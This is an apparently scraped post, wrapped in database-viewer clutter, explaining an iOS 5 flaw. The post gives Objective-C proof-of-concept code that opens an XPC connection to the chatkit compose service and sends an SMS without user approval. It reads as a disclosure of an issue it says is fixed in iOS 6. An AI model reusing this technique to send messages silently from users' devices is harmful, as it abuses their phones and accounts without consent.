Note that there are some explanatory texts on larger screens.

plurals
  1. PO
    primarykey
    data
    text
    <p>One of the systems of inter-process communication in MacOS is XPC. This system layer has been developed for inter-process communication based on the transfer of plist structures using libSystem and launchd. In fact, it is an interface that allows managing processes via the exchange of such structures as dictionaries. Due to heredity, iOS 5 possesses this mechanism as well.</p> <p>You might already understand what I mean by this introduction. Yep, there are system services in iOS that include tools for XPC communication. And I want to exemplify the work with a daemon for SMS sending. However, it should be mentioned that this ability is fixed in iOS 6, but is relevant for iOS 5.0—5.1.1. Jailbreak, Private Framework, and other illegal tools are not required for its exploitation. Only the set of header files from the directory /usr/include/xpc/* are needed.</p> <p>One of the elements for SMS sending in iOS is the system service com.apple.chatkit, the tasks of which include generation, management, and sending of short text messages. For the ease of control, it has the publicly available communication port com.apple.chatkit.clientcomposeserver.xpc. Using the XPC subsystem, you can generate and send messages without user's approval. </p> <p>Well, let's try to create a connection.</p> <pre><code>xpc_connection_t myConnection; dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT); myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); </code></pre> <p>Now we have the XPC connection myConnection set to the service of SMS sending. However, XPC configuration provides for creation of suspended connections —we need to take one more step for the activation.</p> <pre><code>xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){ xpc_type_t xtype = xpc_get_type(event); if(XPC_TYPE_ERROR == xtype) { NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } // Always set an event handler. More on this later. NSLog(@"Received a message event!"); }); xpc_connection_resume(myConnection); </code></pre> <p>The connection is activated. Right at this moment iOS 6 will display a message in the telephone log that this type of communication is forbidden. Now we need to generate a dictionary similar to xpc_dictionary with the data required for the message sending.</p> <pre><code>NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil]; NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL]; xpc_object_t mydict = xpc_dictionary_create(0, 0, 0); xpc_dictionary_set_int64(mydict, "message-type", 0); xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]); xpc_dictionary_set_string(mydict, "text", "hello from your application!"); </code></pre> <p>Little is left: send the message to the XPC port and make sure it is delivered.</p> <pre><code>xpc_connection_send_message(myConnection, mydict); xpc_connection_send_barrier(myConnection, ^{ NSLog(@"The message has been successfully delivered"); }); </code></pre> <p>That's all. SMS sent.</p>
    singulars
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. VO
      singulars
      1. This table or related slice is empty.
    2. VO
      singulars
      1. This table or related slice is empty.
    3. VO
      singulars
      1. This table or related slice is empty.
    1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload